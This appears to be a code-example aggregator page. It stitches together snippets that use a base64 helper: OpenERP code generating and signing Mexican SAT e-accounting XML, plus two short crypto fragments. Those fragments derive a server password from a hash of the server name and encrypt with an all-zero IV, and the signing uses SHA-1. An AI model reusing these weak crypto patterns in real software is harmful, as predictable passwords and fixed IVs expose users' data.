                        u"Verifique que su n\xfamero de tr\xe1mite contenga 10 d\xedgitos.",
                    )
            accountMoveObj = self.pool.get("account.move")
            if moveIds is None:
                moveIds = accountMoveObj.search(
                    cr,
                    uid,
                    [
                        ("period_id", "=", period_id.id),
                        ("state", "=", "posted"),
                        ("company_id", "=", user.company_id.id),
                    ],
                )
            if form.format == "pdf":
                return {}
            moves = accountMoveObj.browse(cr, uid, moveIds)
            if not len(moves):
                raise osv.except_osv(
                    u"Informaci\xf3n faltante", u"No se han encontrado p\xf3lizas para el per\xedodo seleccionado."
                )
            entries = []
            if form.xml_target == "vouchers":
                for mv in moves:
                    voucher = (mv.ref if mv.ref else "") + "(" + mv.name + ")"
                    if not len(mv.line_id):
                        raise osv.except_osv(
                            u"P\xf3liza incompleta", u"La p\xf3liza %s no tiene asientos definidos." % voucher
                        )
                    if not mv.item_concept:
                        raise osv.except_osv(
                            u"Informaci\xf3n faltante", u"La p\xf3liza %s no tiene definido un concepto" % voucher
                        )
                    mvAttrs = [
                        ("NumUnIdenPol", mv.name[0:50]),
                        ("Fecha", mv.date),
                        ("Concepto", mv.item_concept[0:300]),
                    ]
                    lines = []
                    for ln in mv.line_id:
                        if not ln.name:
                            raise osv.except_osv(
                                u"Informaci\xf3n faltante",
                                u"Compruebe que todos los asientos de la p\xf3liza %s tengan un concepto definido."
                                % voucher,
                            )
                        lnAttrs = [
                            ("NumCta", ln.account_id.code[0:100]),
                            ("DesCta", ln.account_id.name[0:100]),
                            ("Concepto", ln.name[0:200]),
                            ("Debe", round(ln.debit, 2)),
                            ("Haber", round(ln.credit, 2)),
                        ]
                        (cfdis, others, foreigns, checks, transfers, payments) = ([], [], [], [], [], [])
                        for cmpl in ln.complement_line_ids:
                            if cmpl.rfc and not _RFC_PATTERN.match(cmpl.rfc):
                                raise osv.except_osv(
                                    u"Informaci\xf3n incorrecta",
                                    u'El RFC "%s" no es v\xe1lido con respecto a los lineamientos del SAT. P\xf3liza %s'
                                    % (cmpl.rfc, voucher),
                                )
                            if cmpl.rfc2 and not _RFC_PATTERN.match(cmpl.rfc2):
                                raise osv.except_osv(
                                    u"Informaci\xf3n incorrecta",
                                    u'El RFC "%s" no es v\xe1lido con respecto a los lineamientos del SAT. P\xf3liza %s'
                                    % (cmpl.rfc2, voucher),
                                )
                            cmpl_attrs = []
                            commons = ["cfdi", "foreign", "other"]
                            cmpl_attrs.append(
                                ("MontoTotal" if cmpl.type_key in commons else "Monto", round(cmpl.amount, 2))
                            )
                            if cmpl.compl_currency_id:
                                if not cmpl.compl_currency_id.sat_currency_id:
                                    raise osv.except_osv(
                                        u"Informaci\xf3n faltante",
                                        u'La moneda "%s" no tiene asignado un c\xf3digo del SAT.'
                                        % cmpl.compl_currency_id.name,
                                    )
                                cmpl_attrs.append(("Moneda", cmpl.compl_currency_id.sat_currency_id.code))
                            if cmpl.exchange_rate:
                                cmpl_attrs.append(("TipCamb", round(cmpl.exchange_rate, 5)))
                            commons.pop(1)
                            commons.append("check")
                            commons.append("transfer")
                            if cmpl.type_key in commons:
                                if (
                                    cmpl.rfc
                                    and cmpl.rfc2
                                    and cmpl.rfc != user.company_id.rfc
                                    and cmpl.rfc2 != user.company_id.rfc
                                ):
                                    cmpl_attrs.append(("RFC", cmpl.rfc2.upper()))
                                else:
                                    cmpl_attrs.append(
                                        (
                                            "RFC",
                                            cmpl.rfc.upper() if cmpl.rfc != user.company_id.rfc else cmpl.rfc2.upper(),
                                        )
                                    )
                            commons.pop(0)
                            commons.pop(0)
                            if cmpl.type_key in commons:
                                if cmpl.show_native_accs and cmpl.origin_native_accid:
                                    cmpl_attrs.append(("CtaOri", cmpl.origin_native_accid.acc_number[0:50]))
                                elif cmpl.origin_account_id:
                                    cmpl_attrs.append(("CtaOri", cmpl.origin_account_id.code[0:50]))
                            commons.append("payment")
                            if cmpl.type_key in commons:
                                cmpl_attrs.append(("Fecha", cmpl.compl_date))
                                cmpl_attrs.append(
                                    (
                                        "Benef",
                                        cmpl.payee_acc_id.name[0:300]
                                        if cmpl.show_native_accs2
                                        else cmpl.payee_id.name[0:300],
                                    )
                                )
                            if cmpl.type_key == "cfdi":
                                if cmpl.uuid:
                                    if len(cmpl.uuid) != 36 or not _UUID_PATTERN.match(cmpl.uuid.upper()):
                                        raise osv.except_osv(
                                            u"Informaci\xf3n incorrecta",
                                            u'El UUID "%s" en la p\xf3liza %s no se apega a los lineamientos del SAT.'
                                            % (cmpl.uuid, voucher),
                                        )
                                    cmpl_attrs.append(("UUID_CFDI", cmpl.uuid.upper()))
                                cfdis.append(("CompNal", cmpl_attrs))
                            elif cmpl.type_key == "other":
                                if cmpl.cbb_series and not _SERIES_PATTERN.match(cmpl.cbb_series):
                                    raise osv.except_osv(
                                        u"Informaci\xf3n incorrecta",
                                        u'La "Serie" en el comprobante de la p\xf3liza %s solo debe contener letras.'
                                        % voucher,
                                    )
                                if cmpl.cbb_series:
                                    cmpl_attrs.append(("CFD_CBB_Serie", cmpl.cbb_series))
                                cmpl_attrs.append(("CFD_CBB_NumFol", cmpl.cbb_number))
                                others.append(("CompNalOtr", cmpl_attrs))
                            elif cmpl.type_key == "foreign":
                                cmpl_attrs.append(("NumFactExt", cmpl.foreign_invoice))
                                cmpl_attrs.append(("TaxID", cmpl.foreign_taxid))
                                foreigns.append(("CompExt", cmpl_attrs))
                            elif cmpl.type_key == "check":
                                if not cmpl.check_number:
                                    raise osv.except_osv(
                                        u"Informaci\xf3n faltante",
                                        u"No se ha encontrado un n\xfamero de cheque en la p\xf3liza % s" % voucher,
                                    )
                                cmpl_attrs.append(("Num", cmpl.check_number))
                                cmpl_attrs.append(("BanEmisNal", cmpl.origin_bank_id.sat_bank_id.bic))
                                if cmpl.origin_bank_id.sat_bank_id.bic == "999":
                                    cmpl_attrs.append(("BanEmisExt", cmpl.origin_frgn_bank))
                                checks.append(("Cheque", cmpl_attrs))
                            elif cmpl.type_key == "transfer":
                                cmpl_attrs.append(("BancoOriNal", cmpl.origin_bank_id.sat_bank_id.bic))
                                if cmpl.origin_bank_id.sat_bank_id.bic == "999":
                                    cmpl_attrs.append(("BancoOriExt", cmpl.origin_bank_id.name[0:150]))
                                cmpl_attrs.append(
                                    (
                                        "CtaDest",
                                        cmpl.destiny_native_accid.acc_number[0:50]
                                        if cmpl.show_native_accs1
                                        else cmpl.destiny_account_id.code[0:50],
                                    )
                                )
                                cmpl_attrs.append(("BancoDestNal", cmpl.destiny_bank_id.sat_bank_id.bic))
                                if cmpl.destiny_bank_id.sat_bank_id.bic == "999":
                                    cmpl_attrs.append(("BancoDestExt", cmpl.destiny_frgn_bank))
                                transfers.append(("Transferencia", cmpl_attrs))
                            elif cmpl.type_key == "payment":
                                cmpl_attrs.append(("MetPagoPol", cmpl.pay_method_id.code))
                                cmpl_attrs.append(("RFC", cmpl.rfc2.upper()))
                                payments.append(("OtrMetodoPago", cmpl_attrs))

                        if len(cfdis):
                            lnAttrs.append(("unroot", cfdis))
                        if len(others):
                            lnAttrs.append(("unroot", others))
                        if len(foreigns):
                            lnAttrs.append(("unroot", foreigns))
                        if len(checks):
                            lnAttrs.append(("unroot", checks))
                        if len(transfers):
                            lnAttrs.append(("unroot", transfers))
                        if len(payments):
                            lnAttrs.append(("unroot", payments))
                        lines.append(("Transaccion", lnAttrs))

                    mvAttrs.append(("unroot", lines))
                    entries.append(("Poliza", mvAttrs))

            else:
                for mv in moves:
                    if not len(mv.complement_line_ids):
                        continue
                    voucher = (mv.ref if mv.ref else "") + "(" + mv.name + ")"
                    if not mv.name or mv.name == "/":
                        raise osv.except_osv(
                            u"Informaci\xf3n faltante", u"La p\xf3liza %s no tiene un n\xfamero definido." % voucher
                        )
                    if not mv.date:
                        raise osv.except_osv(
                            u"Informaci\xf3n faltante", u"La p\xf3liza %s no tiene una fecha definida." % voucher
                        )
                    mvAttrs = [("NumUnIdenPol", mv.name), ("Fecha", mv.date)]
                    (cfdis, others, foreigns) = ([], [], [])
                    for cmpl in mv.complement_line_ids:
                        cmpl_attrs = [("MontoTotal", round(cmpl.amount, 2))]
                        if cmpl.rfc:
                            if not _RFC_PATTERN.match(cmpl.rfc):
                                raise osv.except_osv(
                                    u"Informaci\xf3n incorrecta",
                                    u'El RFC "%s" no es v\xe1lido con respecto a los lineamientos del SAT. P\xf3liza %s'
                                    % (cmpl.rfc, voucher),
                                )
                            cmpl_attrs.append(("RFC", cmpl.rfc))
                        if cmpl.compl_currency_id:
                            if not cmpl.compl_currency_id.sat_currency_id:
                                raise osv.except_osv(
                                    u"Informaci\xf3n faltante",
                                    u'La moneda "%s" no tiene asignado un c\xf3digo del SAT.'
                                    % cmpl.compl_currency_id.name,
                                )
                            cmpl_attrs.append(("Moneda", cmpl.compl_currency_id.sat_currency_id.code))
                        if cmpl.exchange_rate:
                            cmpl_attrs.append(("TipCamb", round(1 / cmpl.exchange_rate, 5)))
                        if cmpl.pay_method_id:
                            cmpl_attrs.append(("MetPagoAux", cmpl.pay_method_id.code))
                        if cmpl.type_key == "cfdi":
                            if cmpl.uuid:
                                if len(cmpl.uuid) != 36 or not _UUID_PATTERN.match(cmpl.uuid.upper()):
                                    raise osv.except_osv(
                                        u"Informaci\xf3n incorrecta",
                                        u'El UUID "%s" en la p\xf3liza %s no se apega a los lineamientos del SAT.'
                                        % (cmpl.uuid, voucher),
                                    )
                            cmpl_attrs.append(("UUID_CFDI", cmpl.uuid.upper()))
                            cfdis.append(("ComprNal", cmpl_attrs))
                        elif cmpl.type_key == "other":
                            if cmpl.cbb_series:
                                cmpl_attrs.append(("CFD_CBB_Serie", cmpl.cbb_series))
                            cmpl_attrs.append(("CFD_CBB_NumFol", cmpl.cbb_number))
                            others.append(("ComprNalOtr", cmpl_attrs))
                        else:
                            if cmpl.foreign_taxid:
                                cmpl_attrs.append(("TaxID", cmpl.foreign_taxid))
                            cmpl_attrs.append(("NumFactExt", cmpl.foreign_invoice))
                            foreigns.append(("ComprExt", cmpl_attrs))

                    if len(cfdis):
                        mvAttrs.append(("unroot", cfdis))
                    if len(others):
                        mvAttrs.append(("unroot", others))
                    if len(foreigns):
                        mvAttrs.append(("unroot", foreigns))
                    entries.append(("DetAuxFol", mvAttrs))

                if not len(entries):
                    raise osv.except_osv(
                        u"Auxiliar vac\xedo",
                        u"No se encontraron p\xf3lizas que tengan complementos auxiliares relacionados.",
                    )
            content = [
                ("Version", "1.1" if form.xml_target == "vouchers" else "1.2"),
                ("RFC", user.company_id.rfc),
                ("Mes", period_id.date_start[5:7]),
                ("Anio", period_id.date_start[0:4]),
                ("TipoSolicitud", form.request_type),
                ("unroot", entries),
            ]
            if form.request_type in ("AF", "FC"):
                content.append(("NumOrden", form.order_number.upper()))
            if form.request_type in ("DE", "CO"):
                content.append(("NumTramite", form.procedure_number))
            target_ns = self._SAT_NS.copy()
            if form.xml_target == "vouchers":
                target_ns["PLZ"] = self._VOUCHERS_URI
                xmlTree = self._xml_from_dict(("Polizas", content), target_ns, self._VOUCHERS_URI)
                xmlTree.attrib["{{{pre}}}schemaLocation".format(pre=self._XSI_DECLARATION)] = (
                    "%s http://www.sat.gob.mx/esquemas/ContabilidadE/1_1/PolizasPeriodo/PolizasPeriodo_1_1.xsd"
                    % self._VOUCHERS_URI
                )
            else:
                target_ns["RepAux"] = self._HELPERS_URI
            xmlTree = self._xml_from_dict(("RepAuxFol", content), target_ns, self._HELPERS_URI)
            xmlTree.attrib["{{{pre}}}schemaLocation".format(pre=self._XSI_DECLARATION)] = (
                "%s http://www.sat.gob.mx/esquemas/ContabilidadE/1_1/AuxiliarFolios/AuxiliarFolios_1_1.xsd"
                % self._HELPERS_URI
            )
        filename = self.pool.get("res.users").browse(cr, uid, uid).company_id.rfc + str(form.year) + form.month
        if form.xml_target == "accounts_catalog":
            filename += "CT"
        elif form.xml_target == "trial_balance":
            filename += "B" + form.trial_delivery
        elif form.xml_target == "vouchers":
            filename += "PL"
        elif form.xml_target == "helpers":
            filename += "XF"
        filename += ".xml"
        validationResult = self._validate_xml(cr, uid, form.xml_target + ".xsd", xmlTree, filename)
        if isinstance(validationResult, dict):
            return validationResult
        self.write(
            cr,
            uid,
            ids,
            {"state": validationResult, "filename": filename, "primary_file": b64enc(self._outputXml(xmlTree))},
        )
        return self._reopen_wizard(ids[0])
示例#46
0
 def do_stamp(self, cr, uid, ids, context):
     if context is None:
         context = {}
     form = self.browse(cr, uid, ids)[0]
     stamp_res = "stamp_done"
     xslt_path = self._find_file_in_addons("asti_eaccounting_mx_base/sat_xslt", form.xml_target + ".xslt")
     try:
         xslt_file = open(xslt_path, "r")
     except:
         raise osv.except_osv(
             "Hoja XSLT no encontrada", u'La hoja de transformaci\xf3n no fue encontrada en la ruta "%s"' % xslt_path
         )
     xsltTree = et.parse(xslt_file)
     xsltTree.find("{http://www.w3.org/1999/XSL/Transform}output").attrib["omit-xml-declaration"] = "yes"
     try:
         xslt = et.XSLT(xsltTree)
     except et.XSLTParseError:
         xsltTree.find("{http://www.w3.org/1999/XSL/Transform}include").attrib["href"] = xslt_path.replace(
             form.xml_target, "utils"
         )
         try:
             xslt = et.XSLT(xsltTree)
             stamp_res = "stamp_xcpt"
         except:
             xslt = None
     if xslt is None:
         raise osv.except_osv("Error al cargar la hoja XSLT", "Por favor intente sellar de nuevo el documento.")
     xmlTree = et.ElementTree(et.fromstring(b64dec(form.primary_file)))
     transformedDocument = str(xslt(xmlTree))
     user = self.pool.get("res.users").browse(cr, uid, uid)
     ##########
     certificate_obj = self.pool.get("res.company.facturae.certificate")
     certificate_ids = certificate_obj.search(
         cr,
         uid,
         [
             ("company_id", "=", user.company_id.id),
             ("date_start", "<=", time.strftime("%Y-%m-%d")),
             ("date_end", ">=", time.strftime("%Y-%m-%d")),
             ("active", "=", True),
         ],
         limit=1,
     )
     certificate_id = certificate_ids and certificate_ids[0] or False
     if not certificate_id:
         raise osv.except_osv(
             u"Informaci\xf3n faltante",
             u"No se ha encontrado una configuraci\xf3n de certificados disponible para la compa\xf1\xeda %s"
             % user.company_id.name,
         )
     #########
     # allConfiguredCerts = user.company_id._get_current_certificate(cr, uid, [user.company_id.id], context=ctx)
     # allConfiguredCerts = user.company_id.certificate_id.id
     # print "allConfiguredCerts: ", allConfiguredCerts
     # if user.company_id.id not in allConfiguredCerts.keys() or not allConfiguredCerts[user.company_id.id]:
     #    raise osv.except_osv(u'Informaci\xf3n faltante', u'No se ha encontrado una configuraci\xf3n de certificados disponible para la compa\xf1\xeda %s' % user.company_id.name)
     # eCert = self.pool.get('res.company.facturae.certificate').browse(cr, uid, [allConfiguredCerts[user.company_id.id]])[0]
     ##########
     eCert = self.pool.get("res.company.facturae.certificate").browse(cr, uid, [certificate_id])[0]
     ##########
     if not eCert.certificate_key_file_pem:
         raise osv.except_osv(
             u"Informaci\xf3n faltante", "Se necesita una clave en formato PEM para poder sellar el documento"
         )
     crypter = RSA.load_key_string(b64dec(eCert.certificate_key_file_pem))
     algrthm = MessageDigest("sha1")
     algrthm.update(transformedDocument)
     rawStamp = crypter.sign(algrthm.digest(), "sha1")
     certHexNum = X509.load_cert_string(b64dec(eCert.certificate_file_pem), X509.FORMAT_PEM).get_serial_number()
     certNum = ("%x" % certHexNum).replace("33", "B").replace("3", "")
     cert = "".join([ln for ln in b64dec(eCert.certificate_file_pem).split("\n") if "CERTIFICATE" not in ln])
     target = "{"
     if form.xml_target == "accounts_catalog":
         target += self._ACCOUNTS_CATALOG_URI + "}Catalogo"
     elif form.xml_target == "trial_balance":
         target += self._TRIAL_BALANCE_URI + "}Balanza"
     xmlTree.getroot().attrib["Sello"] = b64enc(rawStamp)
     xmlTree.getroot().attrib["noCertificado"] = certNum
     xmlTree.getroot().attrib["Certificado"] = cert
     validationResult = self._validate_xml(cr, uid, form.xml_target + ".xsd", xmlTree, form.filename)
     if isinstance(validationResult, dict):
         return validationResult
     self.write(cr, uid, ids, {"state": stamp_res, "stamped_file": b64enc(self._outputXml(xmlTree))})
     return self._reopen_wizard(ids[0])
示例#47
0
    def _get_password(self, server):
        """Returns the password of a server for this adapter."""
        base = server.name if hasattr(server, 'name') else server

        return b64enc(hashlib.sha256(
            base.encode('utf-8')).digest()).decode('utf-8')
示例#48
0
 def permute(self, plain):
     iv = ""
     for i in range(self.ivBytes()):
         iv = iv + ("%c" % 0)
     return b64enc(self.encryptWithIV(plain, iv))